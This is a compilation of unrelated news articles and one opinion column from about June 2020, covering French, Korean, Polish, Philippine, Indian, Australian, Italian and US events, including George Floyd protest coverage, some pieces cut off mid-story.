"It will be a reinvented 14th of July adapted to the circumstances," Defence Minister Florence Parly said.

The event will include a highlight of the yearly show -- the flypast -- in honour of medical personnel, military and all others "mobilised against the virus", the Elysees palace said.

Four other countries -- Germany, Switzerland, Austria and Luxembourg -- have been invited to attend this year's event to thank them for having taken coronavirus patients into their hospitals in regions bordering France, said the presidency.

No public

The event will likely not be open to the public, although this decision could be re-evaluated if the health situation improves.

Last year's parade, themed to celebrate European military cooperation, was marred by violent clashes between police and anti-government protesters.

A year earlier, two motorcyclists from the French national gendarmerie collided and fighter jets sprayed the colours of the nation's flag in the wrong order.

President Emmanuel Macron, in his first months in office, used the 2017 Bastille Day parade to wow his guest of honour, freshly inaugurated US President Donald Trump.

This year's ceremony will also pay tribute to resistance hero-turned-president Charles de Gaulle who died 50 years ago this year.

(with AFP)
People queue in front of the Louis Vuitton store at Lotte Department Store in Myeong-dong, Seoul, on May 13. / Korea Times photo by Lee Han-ho



By Kim Jae-heun



The National Tax Service's (NTS) special audit of Starbucks Korea could be a warning sign for other multinational corporations here suspected of tax evasion.



The tax probe of the U.S. multinational coffeehouse brand seemed to be an irregular one that the tax agency could have launched against any firm operating in the country suspected of evading tax.



The NTS has been probing offshore tax evasion since the beginning of this year, mainly targeting multinational tech companies and imposing 1.33 trillion won in penalties for tax evasion. Companies generating over 150 billion won in sales are subject to a special audit.



In this case, luxury brands like Chanel and Louis Vuitton could also be targets.



As "limited companies," they are not obliged to open their account books to the public, so their recent annual sales are unknown. However, considering that Louis Vuitton Korea recorded 497.4 billion won in revenue when it last revealed its management information in 2011, and that sales have been growing since, the French luxury brand can be subject to an irregular NTS probe at any time. This is the same for Chanel which posts the second-highest sales among luxury brands here after Louis Vuitton.



One source for their possible tax evasion here is that they barely pay anything to open a boutique in department stores, but they can enter it as a cost in their books.



This is the case with Starbucks Korea, which reported false numbers for the expenses it paid importing coffee beans from the United States and for store interior decoration here.



The NTS said the two luxury brands could be subject to the special investigation, but a clear evidence is needed.



"As long as a company is operating a business in the country and we have evidence of their suspected tax evasion, we can launch an investigation," an NTS official said.



This is because the tax agency cannot reinvestigate the same case once it fails to prove a company's tax evasion.



"Most often, global companies like Chanel and Louis Vuitton make no mistake in perfecting their accounts so they can defend themselves well when the NTS investigates," said a source well aware of the local luxury industry.



Chanel and Louis Vuitton's recent markups could also be subject to tax investigation. By law, the luxury firms' account books have to show the exact amount they spent on materials to produce the items. However, the numbers have been fixed by the brands' headquarters overseas and the NTS lacks the reach to investigate this.



"Local department stores will not reveal what they have paid for interior decorations of luxury brands boutiques because this can disadvantage retailers," the source said.



"A tangible document is needed for the tax agency to launch a special investigation into the accounts of Chanel and Louis Vuitton here."




Not everyone in law enforcement is a good guy. There are rogue cops, as every American now surely knows. There are also rogue D.A.s, rogue judges, and rogue federal agents. And sad to say, we have to include lawless attorneys general of the United States, lawless heads of the FBI, and traitorous CIA directors. George Floyd died at the hands of a bad Minneapolis cop. David Koresh and 75 Branch Davidians died at Waco in 1993 at the hands of the big dogs of the FBI and ATF.

The plot against Donald Trump is not horrific in the way brutal killings like George Floyd's and Waco are. In those cases, individual Americans were the victims. In the plot to take down Trump, we were all victims, because they were attacking the Constitution itself.

Justice will come to the killer of George Floyd, but the macho boys of the FBI and ATF never paid a price for Waco. Are these agencies absolutely necessary? Aren't there ways to shift their assets to other parts of the federal government? All the FBI really amounts to is investigators working for the attorney general. But with the arrival of the contemptible J. Edgar Hoover in 1924, the empire-building began, and the FBI is now an institution in itself.

FBI heads seem to think they're something special and are independent of the president through whom they derive their only authority. This confused, messianic thinking results in books like A Higher Loyalty by James Comey. Higher than what, the Constitution? Higher than the duly elected president?

For his crimes against the law and the Constitution, James Comey should go to jail. He belongs there, right along with the killers of George Floyd and the Branch Davidians.

Fritz Pettyjohn was a criminal defense attorney In Anchorage, Alaska from 1974 to 1980.

Image: Gage Skidmore via Flickr.
By Marcin Goclowski and Alan Charlish WARSAW (Reuters) - Poland's nationalist government on Thursday won a vote of confidence in parliament which it called to shore up its authority before a presidential election. Prime Minister Mateusz Morawiecki unexpectedly asked for the vote in the lower house after a series of setbacks threatened to derail the re-election campaign of President Andrzej Duda, an ally of the ruling Law and Justice (PiS) party.

By Marcin Goclowski and Alan Charlish

WARSAW (Reuters) - Poland's nationalist government on Thursday won a vote of confidence in parliament which it called to shore up its authority before a presidential election.

Prime Minister Mateusz Morawiecki unexpectedly asked for the vote in the lower house after a series of setbacks threatened to derail the re-election campaign of President Andrzej Duda, an ally of the ruling Law and Justice (PiS) party.

Duda had long been the clear favourite in the June 28 election but opinion polls have shown his lead narrowing. One poll on Monday showed he would lose a second-round runoff against either of his main challengers.

His re-election is important for PiS's hopes of implementing its conservative agenda, which includes judicial reforms that critics say reduce the independence of courts.

In the vote, 235 lawmakers supported the government, 219 opposed it and two abstained.

PiS' image as been hurt by its failure to organise the presidential election on schedule after a junior coalition partner blocked the initial plan to hold it on May 10, during Poland's coronavirus lockdown.

Shortly after midnight Friday, Health Minister Lukasz Szumowski, who is under fire over alleged irregularities in the purchase of face masks during the coronavirus outbreak, survived a vote of no-confidence.

"If you have enough votes, dismiss us. If not, let us act, don't disturb us," Morawiecki said before the confidence vote in the Sejm, or lower house, where PiS has a majority.

Katarzyna Lubnauer, an opposition lawmaker, said PiS wanted to draw attention way from the planned no-confidence vote in Szumowski and asked: "Is this a panic attack?"

Duda's campaign has also been set back by accusations that a public radio station tried to censor a song critical of PiS and that members of the ruling party do not comply with coronavirus restrictions. PiS has dismissed the accusations.

(Reporting by Marcin Goclowski, Pawel Florkiewicz, Alan Charlish, Agnieszka Barteczko, Anna Wlodarczak-Semczuk and Alicja Ptak; Editing by Timothy Heritage and Lisa Shumaker)

This story has not been edited by Firstpost staff and is generated by auto-feed.
Metro Manila (CNN Philippines, June 5)  The anti-terrorism bill passed by Congress needs several changes to avoid misinterpretation once signed as a law, a lawmaker said, especially a critical provision which states how a person or group can be labeled a terrorist.

Muntinlupa Rep. Ruffy Biazon, one of the original authors of the Anti-Terrorism Act of 2020, said he withdrew support because House members were not given the chance to amend portions of the Senate version of the bill just so it can go straight to President Rodrigo Duterte's desk for signing into law.

A major change he wanted to do was on the section that details how a government council can "designate" or tag someone a terrorist. It is also one of the strongest points of friction with critics of the measure.

Malacanang certified the bill as urgent, allowing the House to vote on it on second and third readings in a day. The bill was approved with 168 yes votes, 36 no votes, and 29 abstentions.

The existing measure is flawed in Biazon's eyes, which could have been easily corrected if only he and his colleagues were given time to introduce amendments. That part was skipped, because making changes would require the House and Senate to convene a bicameral committee and reconcile the conflicting versions. The unified version must then be ratified by both chambers in a plenary session, but that can't be done anymore as Congress goes on a break after Friday.

Biazon explained that all hearings done by the House were effectively set aside as the plenary merely adopted the version passed by the Senate to beat a ticking clock ahead of the adjournment of plenary sessions.

"I saw the necessity of refining that provision to make it clearer because as written, it says that the Anti-Terrorism Council or ATC can designate a terrorist upon finding of a probable cause  that was the wording. But it was a bone of contention because people are saying it practically gives the ATC the power to make a determination of probable cause," Biazon told CNN Philippines' The Source.

READ: Mindanao lawmakers argue: Anti-terrorism bill only gives power to gov't to tag critics as enemies of the state

While current practice dictates that only state prosecutors or local courts can establish the basis of a complaint, it was not explicitly stated in the proposed law.

"The intention really is the existing judicial process... But as it is worded, my realization with discussion with other people, including lawyers, I kind of realized that yes, it can be misinterpreted," Biazon explained. "It would be better if theres specific wording that would preclude any doubt."

A crucial distinction was that the ATC will be composed of members of the Cabinet, which are Presidential appointees: the Executive Secretary as chairperson, the National Security Adviser as vice chairperson, and the secretaries of Foreign Affairs, Defense, Interior and Local Government, Finance, Justice, Information and Communications, and the executive director of the Anti-Money Laundering Council.

The Philippines is home to several terrorist groups like the Abu Sayyaf, Bangsamoro Islamic Freedom Fighters, and the Jemaah Islamiyah, with reports that suicide bombers attacking abroad have been trained in Mindanao.

Biazon explained that agencies handling issues of national security as well as the Secretary of Finance will form the council, which also aims to cut off terrorist financing and the freezing of financial assets.

The solon said the council should only be involved in identifying who the terrorists are so that they can trigger asset forfeitures to cut their funding and operations.

RELATED: Anti-terrorism bill may immediately be challenged on constitutionality in SC  Carpio

Despite these lapses, Biazon believes a stronger anti-terrorism law is still needed as he also pointed out a lot of "misconceptions" about what constitutes terrorist acts. He refuted claims on social media, saying that attending political rallies and criticizing the government online "won't make you a terrorist."

The measure repeals the Human Security Act of 2007 and allows the government to detain suspected terrorists without a warrant of arrest up to 14 days, extendable by another 10 days.

IN PHOTOS: Civil rights groups protest #JunkTerrorBill

It also imposes 12 years of prison time to any person who threatens to commit any act of terrorism, proposes any such acts or incites others to commit terrorism, which critics say could be abused by authorities to silence dissent and free speech.

"As a lawmaker, it's important for me to make sure there's no other interpretation. My no vote isn't a backtracking from my position as an anti-terrorism advocate... I would want to craft a bill that if not entirely eliminate opposition, at least we are able to trim it down to as little as possible, to have a version that is clearer," he added.

The Twitter hashtag #JunkTerrorBillNow has been a trending topic in the Philippines this week, with local actresses and showbiz personalities and even global icons calling to scrap the measure.

RELATED: Taylor Swift, local celebrities join plea to junk anti-terrorism bill

Academic institutions have also denounced the passage of the bill, saying that it was "ill-timed" and adds to people's anxieties as the country grapples with COVID-19.
Jammu: The encounter in Rajouri has been called off after an unidentified terrorist was killed, the encounter broke out late last night in Mehari village of Rajouri district. The operation has now been called off, the police said.

A cache of arms and ammunition have been recovered from the terrorist.

DGP Dilbag Singh said, One terrorist killed in the ongoing encounter at Mehari Kalakote Rajouri. Arms Ammunition recovered. Identify of the slain terrorist not known. Further details being verified. Police has called of the operation, he added.

One AK-47 riffle, a magazine and a few grenades were recovered from the slain militant

Sources in the police claimed that the identity of the dead militant was being ascertained and that he "seems to be a foreigner".

A few days ago, in Nowshera sector the security forces killed three Pakistani terrorists and recovered a huge cache of arms and ammunition beside Pakistan made things were also recovered.
Rainfall activity in central and south India is likely to pick up pace from next week due to a cyclonic circulation which is likely to form over the Bay of Bengal and aid in the progress of the monsoon, the India Meteorological Department said on Friday. IMD director general Mrutunjay Mohapatra said a low pressure area is likely to form over the Bay of Bengal and move towards Odisha next week.

A low pressure is a cyclonic circulation and the first stage of any cyclone. However, it is not necessary that every low pressure intensifies into a cyclone. This will help advance ...
Two men charged with conspiring to incite violence and civil unrest at protests over the killing of George Floyd previously sought to do the same thing at protests against coronavirus lockdowns, in both instances seeking to promote their extremist agenda, federal prosecutors say.

Federal agents arrested the men, Stephen Parshall and Andrew Lynam, along with a third man, William Loomis, before they allegedly planned to disrupt a Black Lives Matter protest in Las Vegas. They face federal charges of conspiracy and possession of unregistered firearms and multiple terrorism-related state charges. Prosecutors say the men had planned to use firebombs and explosives to create chaos and panic that would lead to riots. The men are being held in the Clark County jail on $1 million bond each.

According to a criminal complaint filed Wednesday in the U.S. District Court in Nevada, all three, who are white and have U.S. military experience, self-identified as part of the boogaloo movement, a disparate yet growing collection of extremists, including far-right militias, radical gun rights activists, white supremacists and neo-Nazis. As noted in the criminal complaint, Boogaloo is a term used by extremists to signify a coming civil war and/or fall of civilization.

The arrests and the details of the investigation leading up to it offer perhaps the most concrete evidence to date of the role extremists may be playing in some of the violence and destruction during otherwise peaceful protests over the past two weeks. And it sheds new light on how such groups or individuals have sought to exploit other events to advance their agenda of bringing down the U.S. government, leading, in some versions of the ideology, to the creation of a white ethno-state.

Protesters walk past a gas station in Minneapolis on May 29 in the wake of the death of George Floyd. (Salwan Georges/Washington Post via Getty Images)

According to the complaint, the Las Vegas FBI Joint Terrorism Task Force first began investigating Lynam and Parshall in April after receiving a tip from someone, who eventually became a confidential FBI source, that the two were potentially planning terrorist activity.

Story continues

Specifically, the would-be informant reported that he had met Lynam and Parshall at a ReOpen Nevada rally in Las Vegas, where Lynam stated that their group was not for joking around and that it was for people who wanted to violently overthrow the United States government.

The ReOpen rally, and many others like it that took place in cities around the country during the same time, was ostensibly to call for bringing back jobs and reopening businesses closed under state measures taken to stop the spread of the coronavirus. However, based on the conversation described in the complaint, the group seemed to ... focus their attention to the disruption of economic activity.

After attending another ReOpen Nevada protest in early May, Lynam, Parshall and the unnamed informant began discussing a plan to use some type of fireworks, smoke bombs or noisemakers to create a chaotic and confusing scene at the next ReOpen rally on May 16.

The goal would be to set the devices off and cause panic to the police and public, in hope that it causes others to take some type of action, according to the complaint. Whether it be by police or by the public, Lynam and Parshall wanted some type of confrontation between the police and protesters.

The plan never materialized, but the group did attend the May 16 rally, where they were approached by Loomis. At a meeting in a park a few days later, Loomis allegedly told the group that he too was looking to actively disrupt the United States government.

A Black Lives Matter rally in Las Vegas on June 1. (Bridget Bennett/AFP via Getty Images)

Proponents of the boogaloo movement have previously seized on other events where they see a potential for chaos and armed confrontation with law enforcement, such as the gun rights rally in Richmond, Va., earlier this year. During the coronavirus pandemic, experts who track both radical activity and the spread of misinformation online have observed extremist figures, particularly antigovernment activists and far-right militias, using Facebook groups promoting anti-lockdown protests to circulate conspiracy theories in an effort to fuel antigovernment sentiments.

Danny Rogers, chief technology officer of the Global Disinformation Index, which works to track and disrupt the spread of misinformation online, said the origin of the Nevada boogaloo plot says to me that those lockdown protests are clearly serving, at least in that instance, as a breeding ground for this even more malicious and more insidious false-flag activity.

Rogers, who also teaches a course on disinformation and narrative warfare at the New York University Center for Global Affairs, says he and his team of analysts have been tracking boogaloo-related activity online, which he said is primarily shared through hundreds of Facebook groups.

According to the criminal complaint, Lynam, Parshall and Loomis were all part of a Nevada boogaloo Facebook group.

A member of the far-right militia Boogaloo Bois walks next to protesters demonstrating in Charlotte, N.C., on May 29. (Logan Cyrus/AFP via Getty Images)

As Yahoo News has previously reported, the mounting protests over the May 25 death of George Floyd in police custody have generated particular interest within boogaloo circles online and, based on various social media posts, have prompted some factions of the movement to show up at protests.

On May 27, Lynam, Parshall and Loomis allegedly met to discuss how they could use the momentum of Floyds death to create civil unrest and rioting throughout Las Vegas.

On May 29, the complaint says, the foursome (including the informant) attended a protest clad in tactical gear and carrying rifles. The informant reported that Lynam taunted police by getting in their faces, while Parshall attempted to egg on other protesters by telling them, Peaceful protests dont accomplish anything and that they needed to be violent.

The following day, the men were arrested by an FBI SWAT team while preparing Molotov cocktails in a parking lot near the site of another protest. Various other explosives and firearms were found in their cars.

At a press conference Thursday, Attorney General William Barr said the federal government has made 51 arrests in relation to rioting. Barr, along with President Trump, has repeatedly asserted that anti-fascist activists, or antifa, and other radical leftists are to blame for violence at the recent protests. As far as is publicly known, the arrests of the three men in Las Vegas are the first ones linked to the Floyd protests that cite a specific ideological motive. Asked about the involvement of right-wing extremists, Barr acknowledged they were part of a witches brew of a lot of different extremist organizations.

There are some groups that dont have a particular ideology, other than anarchy, Barr told reporters. There are some groups that want to bring about a civil war  the boogaloo group that has been on the margin of this as well, trying to exacerbate the violence.

Additional reporting by Christopher Wilson.

_____

Read more:
Tens of thousands of protesters are set to march across Australia on Saturday as fears grow it could lead to violent American-style clashes with police.

The Black Lives Matter rally will go ahead at Sydney's Town Hall at 3pm, despite being banned by the Supreme Court on Friday after a judge ruled the demonstration didn't comply with coronavirus social distancing regulations.

Similar protests are planned in Melbourne, Brisbane and Adelaide, with police fearful opportunists could exploit the marches to commit crimes.

New South Wales Premier Gladys Berejiklian warned rule-breakers who attend the protest will be 'flagrantly disregarding the [state's] health orders'.

But activists have vowed to turn out in their droves 'come rain, hail or shine', saying the protests would go ahead 'regardless'.

Protesters are pictured outside the Supreme Court in Sydney on June 5 holding up signs (pictured), ahead of Sydney's Black Lives Matter protest on June 6

A woman is pictured outside the Supreme Court in Sydney on June 5 (pictured) awaiting the controversial decision about the protest

'What was put to police initially was within health orders,' Ms Berejiklian said.

'But when Commissioner Fuller advised me this morning, given the escalation (in expected turnout) and what was being said on social media  the protest would not be able to be managed within the health orders.'

There are now 'major concerns' the decision to outlaw the demonstration could cause fury among the protesters - with startling scenes of violence already taking place across America.

Online, the backlash has been fierce against the state government's position.

'Maybe if we hold the protests on a cruise ship Gladys and the cops will back off,' one user wrote referring to the Ruby Princess debacle.

Another person said: 'No one stops white people protesting the BS 5G conspiracy, but deaths in custody, which is real and truly affects the soul of this country, is a no go. FFS.'

A computer shop in New York was looted on Tuesday (pictured, with fears violence could also break out in Australia

One user mocked the NSW government's push to ban the protest, comparing it to the Ruby Princess debacle

After the controversial announcement on Friday, Nathan Moran, chief executive of the Metro Local Aboriginal Land Council vowed to march no matter what.

'We will go regardless, this issue is more important than a fine,' he told the Sydney Morning Herald.

'We have no faith in anything changing unless we make this change.'

Leetona Dungay, the mother of David Dungay, who died in jail in 2015 after being restrained by officers, added: 'I'm marching for my son and nothing is stopping me.

'If we don't march tomorrow that means they'll keep killing people.'

Across the rest of Australia, thousands more are expected to protest this weekend, as similar marches continue across the world following the death of George Floyd.

The unarmed black man died on May 25 in Minneapolis while a policeman knelt on his neck for eight minutes, sparking worldwide outrage.

People are seen joining George Floyd's family at a march on June 2 in downtown Houston (pictured), his hometown

Another critic said that it was unfair that the 5G protests went ahead while these were banned

WHERE ARE THE PROTESTS PLANNED IN AUSTRALIA? Protests are set to go ahead in several Australian cities, but Sydney has now banned its planned protest. Melbourne: Sat June 6, 2pm to 5pm Parliament House, Melbourne Sydney: Sat June 6, 3pm to 5pm  Town Hall, Sydney Brisbane: Sat June 6, 1pm to 5pm  King George Square, Brisbane Adelaide: Sat June 6, 12pm to 1.30pm  Victoria Square / Tarntanyangga, Adelaide Advertisement

A small number of protests have turned violent, with lootings and aggression seen in America and London.

Shocking footage has emerged both of crowds looting and ransacking local businesses, and also of police using aggressive tactics.

In Brisbane, Warriors of the Aboriginal Resistance will hold a rally at King George Square.

Brian Codd, Assistant Commissioner of Queensland police, said he feared it could turn violent.

'One of my major concerns is that there will be people who may use the veil, the cover of this quite emotional and important issue in our community  to pursue violent, disruptive, or illegal behaviour,' he said on Friday.

'We've got a range of processes in place to help mitigate that.'

He added that although the demonstration against indigenous death in custody is in violation of the state's social distancing laws, it will not be feasible for officers to hand out fines.

'We prefer that several thousand people not gather tomorrow  (but) if it's going to occur we're going to apply a lens that will mitigate the risk as best we can,' he told reporters.

'It just isn't practical  to suggest that we're going to go through and start issuing fine notices to thousands of people.'

A large demonstration is also expected in Melbourne on Saturday, with demonstrators vowing to turn out in their droves.

'This is a global and historic movement,' organiser Meriki Onus, from the Warriors of Aboriginal Resistance group told reporters.

Aboriginal elder Latona Dungay (pictured left), whose son David Dungay died in a Sydney prison in 2015, speaks outside the Supreme Court in Sydney on June 5

Thousands of protesters are planning to break COVID-19 restrictions to march in support of the Black Lives Matter movement this weekend (pictured protesters in Sydney on Tuesday)

'A product of hundreds of years of systemic racism and policing that Australia has contributed to.

'Every time we rally, the state and police attempt to stop us by force.'

But Victoria Police have said they will not infringe on the demonstration and will only target individuals who 'intentionally break the law'.

Prime Minister Scott Morrison has also weighed in on the issue telling protesters 'don't go'.

'Our message is very clear that the health risks of gathering in such large numbers and into close proximity are real,' he said.

One commentator said it was unfair that anti-lockdown protesters have been free to meet

'Let's find a better way and another way to express these sentiments.'

But many on social media have called out the prime minister for supposed hypocrisy after he flippantly responded to protests over 5G conspiracy theories days ago saying 'it's a free country'.

A post-mortem found Mr Floyd's death was a homicide, with his cause of death being 'cardiopulmonary arrest complicating law enforcement subdual, restraint, and neck compression'.

His treatment triggered protests across the world about the treatment of black people by police.
BANGOR, Maine - President Donald Trump rolled back protections Friday at a marine conservation area off the New England coast, signing an order to allow commercial fishing in a stretch of water environmentalists say is critical for endangered right whales and other fragile marine life.

Hey there, time traveller!

This article was published 5/6/2020 (594 days ago), so information in it may no longer be current.

President Donald Trump speaks during a roundtable discussion with commercial fishermen at Bangor International Airport in Bangor, Maine, Friday, June 5, 2020. (AP Photo/Patrick Semansky)

BANGOR, Maine - President Donald Trump rolled back protections Friday at a marine conservation area off the New England coast, signing an order to allow commercial fishing in a stretch of water environmentalists say is critical for endangered right whales and other fragile marine life.

We are reopening the Northeast Canyons to commercial fishing, Trump told a roundtable meeting with fishing industry representatives and Maine officials. Were opening it today.

The Northeast Canyons and Seamounts Marine National Monument off the New England coast, created by former President Barack Obama, was the first national marine monument in the Atlantic Ocean, and one of just five marine monuments nationwide.

The conservation area comprises 5,000 square miles (8,000 square kilometres) east of Cape Cod, which contains vulnerable species of marine, such as fragile deep sea corals and endangered right whales, which number only about 400. The whales are susceptible to ship strikes and entanglements in fishing gear.

Its also a place fishermen have long harvested lobsters and crabs, and its creation drew the ire of commercial fishing groups, some of whom sued.

Trump said Obamas establishment of the conservation area and banning fishing was deeply unfair to Maine lobstermen.

President Donald Trump speaks during a roundtable discussion with commercial fishermen at Bangor International Airport in Bangor, Maine, Friday, June 5, 2020. (AP Photo/Patrick Semansky)

We want conservation and good environmental practices  thats very important  but we also want something thats fair to you, he told the fishermen.

Environmental groups vowed to push back against the presidents actions.

Trumps decision will devastate protections for the underwater world along that stretch of New England, and threatens the end for right whales and other endangered marine animals, said Kristen Monsell, a senior attorney for the Center for Biological Diversity environmental group.

Gutting these safeguards attacks the very idea of marine monuments, she said.

The action comes a day after the equally sweeping rollback and proposed rollback of public health and environment protections by the Trump administration. On Thursday, Trump signed an executive order directing agencies to look for ways to override environmental laws to push big projects like highways and pipelines to completion.

And the Environmental Protection Agency proposed changing the rules for crafting air pollution limits under the Clean Air Act, in a way critics say will make it harder to move against dangerous pollutants in the future.

Trump has made a priority of annulling or weakening public health and environmental regulations  especially ones enacted under Obama  that he sees as overly burdening business.

Conservative groups and lawmakers have urged him to keep up the pace as his first term draws to a close. On Friday, however, Maine Republican Sen. Susan Collins said Trump should be tackling bigger problems for the state's fishing businesses rather than reopening the debate on the marine national monument.

Janet Mills, Maines Democratic governor, dismissed the presidents actions, saying its not going to help the vast majority of Maine fishermen feed their families. It will not support an industry that is struggling under the massive weight of an unprecedented pandemic and misguided federal policies.

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Rolling back protections for the marine monument is part of the Trump administrations continued assault on environmental protections, Elizabeth Turnbull Henry, president of the Environmental League of Massachusetts.

The Northeast Canyons and Seamounts National Marine Monument has already withstood a legal challenge by fishermen who opposed its creation. A federal judge dismissed the lawsuit challenging its creation in 2018, and the Court of Appeals for the District of Columbia Circuit upheld the decision in December.

The Trump administration has reviewed a number of national monument designations used by Obama to protect land and water. One of them, Katahdin Woods and Waters National Monument, is in Maine.

The Antiquities Act of 1906 lets presidents establish national monuments but doesn't give them power to undo such a designation. Nonetheless, Trump has downsized two national monuments Utah and allowed energy development on some of the land.

___

Knickmeyer reported from Oklahoma City. Associated Press writer David Sharp in Maine contributed to this report.
Kanye West has pledged to cover college tuition fees for late Minneapolis man George Floyds six-year-old daughter, Gianna.

The Bound 2 rapper and fashion designer  who has an estimated wealth of USD$1.3 billion (AUD$1.8 billion)  has set up a 529 college plan for Gianna which is a US investment plan designed to encourage saving.

Kim Kardashian and Kanye West are doing their bit to support the Black Lives Matter movement. Photo: Getty Images.

The father-of-four has also donated USD$2 million (AUD$2.9 million) to charities associated with the families of George, Ahmaud Arbery and Breonna Taylor, according to Variety.

Kanye, 42, will cover legal fees for Ahmaud and Beronnas families and donate to businesses owned by black businessmen and women in his hometown of Chicago, Illinois.

George Floyd's daughter Gianna, 6, gives her mother Roxie Washington a hug during a press conference at Minneapolis City Hall on Tuesday, June 2. Photo: Getty Images.

Kim helps injured protester

Kanye and his wife Kim Kardashian West have been supporting a number of people connected with the Black Lives Matter protests.

Kim offered to pay the medical bills of a protestor who lost a chunk of their forehead when they were hit by a rubber bullet.

The Keeping Up with the Kardashians star uploaded a post to her Instagram Story, which read: A rubber bullet fired by cops forever disfigures this teenage high school girl at a PEACEFUL Minneapolis protest yesterday. A bloody chunk of her forehead fell off. She was shot at point blank.

And the 38-year-old makeup mogul added her own text beside the post, writing: This is heartbreaking and so disturbing. Does anyone know how I can get in contact with her? I would love to help with her medical care if she needs it.

Kim also recently spoke out specifically about the death of George on her Instagram account.

For years, with every horrific murder of an innocent black man, woman, or child, I have always tried to find the right words to express my condolences and outrage, but the privilege I am afforded by the color of my skin has often let me feeling like this is not a fight that I can truly take on my own, she wrote.

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Not today, not anymore. Like so many of you, I am angry. I am more than angry. I am infuriated and I am disgusted. I am exhausted by the heartbreak I feel seeing mothers, fathers, sisters, brothers and children suffering because their loved one was murdered or locked away unjustly for being black. (sic)

Additional reporting by BANG Showbiz.

Got a story tip or just want to get in touch? Email us at lifestyle.tips@verizonmedia.com
On June 4, US President Donald Trump shared a letter on Twitter. In the letter, he called the protesters near the White House as terrorists, they were the ones who were dispersed from a park by the military on June 1.

Phony protesters?

The former lawyer of President Trump and a veteran attorney, John Dowd, sent a letter to former Secretary of Defense James Mattis. Dowd responded to the statement of Mattis on CNN criticizing the response of the president regarding the protest that is happening nationwide.

All 50 states of America are protesting against police brutality after the gruesome death of George Floyd in the hands of four police officers in Minneapolis.

Dowd's letter called the protesters "phony" and claimed that they were not peaceful and not real. He called the protesters "terrorists" and that they are using students that are filled with hate just to destroy properties and burn the city. He also wrote that the protesters are abusing and disrespecting the police.

The president shared the horrifying letter on Twitter, which reveals what he thinks about the ongoing demonstrations in the United States.

Also Read: All Four Minneapolis Ex Police Officers Charged in George Floyd's Death

On June 1, he called himself "your President of law and order" as the peaceful protesters outside the White House gates were brutally dispersed as the military threw flash bangs and tear gas at them and shoot them with rubber bullets so he can do a photo-op at a nearby church.

Name-calling

The offensive letter of Dowd drew criticism from the Modern Military Association of America, a nonprofit organization for the veteran community and LGBTQ military.

The group's interim executive director, Air Force veteran Jennifer Dane, said that President Donald Trump crossed a very serious line that demands forceful and fast condemnation by every Member of the Congress.

Dane added that he promoted a letter that labels the American citizens that are peacefully protesting as terrorists, and that it is a breach of his oath to preserve, protect and defend the Constitution of the United States. She wants Trump to be held accountable for his reckless actions.

Mattis responded to Trump's approach and released a statement on June 3 and said that the cities of the country are not "battle spaces" and that the military must not be called upon to "dominate." Mattis added that the military must only be used on very rare occasions.Militarizing the response to the protest sets up a conflict between the military and the civilians.

President Trump defended his response to the protests and tweeted on June 4 that he did not have a problem with the National Guard helicopter flying over the protesters in Washington on June 1.

Aside from the inquiry requested by Secretary of Defense Mark Esper, The District of Columbia National Guard is also investigating the incident. The helicopter was sent to deter criminal activity such as looting and rioting, according to a defense official.

The official declined to be identified because the Washington National Guard is now investigating whether the flights of the helicopters were done appropriately.

Related Article: Trump's Church Visit and Bible Photoshoot Shocks Religious Leaders, Disperse Demonstrators

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Buildings are seen in the Porta Nuova district in Milan

ROME (Reuters) - The Italian economy, brought to its knees by the coronavirus, will contract by around 9.2% this year, the Bank of Italy said on Friday, revising down a forecast of -9.0% made last month.

It its latest economic projections the central bank forecast a partial rebound next year, when gross domestic product is seen rising by 4.8%, unchanged from its May 15 projection.

A decline in foreign and domestic demand and the drop in international tourism will all contribute to the steep GDP fall this year, the bank said.

The tapering of government lockdown measures to contain the virus epidemic will allow a pick-up in growth over the second half of this year, it added, only partly making up for the devastating hit to growth in the first and second quarters.

The first quarter saw a GDP drop of 5.3% from the previous three months, national statistics bureau ISTAT reported last week, the steepest quarterly decline since the current series began in 1995.

The Treasury has forecast a much larger quarterly drop of 10.5% in the in the second quarter, which has been more heavily affected by the lockdown that shuttered for most of April all businesses not deemed essential to the supply chain.

The economic contraction would have been even steeper this year but for government stimulus measures, which will contribute at least 2 percentage points to overall GDP, the Bank of Italy said.

It forecast that Italian consumer prices, measured by the EU-harmomised HICP index, will decline by 0.1% this year and be unchanged in 2021, "reflecting the fall in oil prices as well as the sharp decline in capacity utilization."

Employment levels will shrink this year by 3.9%, it forecast, while the jobless rate will average 10.6%.

Some 274,000 jobs were lost in April alone, ISTAT reported on Wednesday, but the unemployment rate plummeted to 6.3%, the lowest for more than 12 years, as people stopped looking for work due to the coronavirus emergency.

(Reporting By Gavin Jones)
World food prices fell for a fourth consecutive month in May, hit by the economic fallout of the coronavirus pandemic which has stymied demand, the United Nations food agency said yesterday.

The Food and Agriculture Organisation (FAO) food price index, which measures monthly changes for a basket of cereals, oilseeds, dairy products, meat and sugar, averaged 162.5 points last month, down 1.9pc on April.

It was the lowest monthly reading since December 2018.

The dairy index dropped 7.3pc, led by sharp falls in both butter and cheese, partly because of lower import demand.

The cereal price index slipped 1pc as coarse grain prices continued their decline, with US maize prices some 16pc down on the year, and wheat export prices falling, amid expectations of ample global supplies. International rice prices edged higher.

Vegetable oil prices fell 2.8pc to a 10-month low, while the meat index slipped 0.8pc. Poultry and pig meat quotations continued to fall, reflecting high export availabilities and despite an increase in import demand in East Asia.

Bucking the general downward trend, the sugar price index jumped 7.4pc in April largely because of lower-than-expected harvests in some major producers.

FAO also posted its first forecast for the 2020 cereal season, foreseeing global output of 2.78 billion tonnes - a 2.6pc increase on 2019's record harvest.

The UN agency said maize would account for much of the expected increase, rising a predicted 64.5 million tonnes to 1.2 billion tonnes thanks to anticipated record harvests in the United States, Canada and Ukraine, and near-record harvests in Brazil and Argentina.

Rice production was seen reaching an all-time high of 508.7 million tonnes in 2020, up 1.6pc on 2019.

Reuters
Three days after Michigan Gov. Gretchen Whitmer lifted her stay-home order, the state Supreme Court declined to hear an appeal asking it deem the order unconstitutional.

Steve Martinko, owner of an Oakland County landscaping business, and four other Michigan residents on April 14 filed a lawsuit against the governor and other state officials, claiming the stay-home order infringed on their constitutional rights and should be declared invalid. The mandatory quarantine and in-state travel restrictions violated due process rights, the plaintiffs argued.

Plymouth-based lawyer David Helm, who represents the plaintiffs, filed a motion for a preliminary injunction asking the state Court of Claims to issue an expedited decision invalidating and declaring unconstitutional Whitmers order. The court declined.

Michigan Court of Claims Judge Christopher Murray on April 29 found that while Whitmers stay-home order did temporary harm to the constitutional rights of Michigan residents, the harm didnt outweigh the public health risk posed by the coronavirus outbreak.

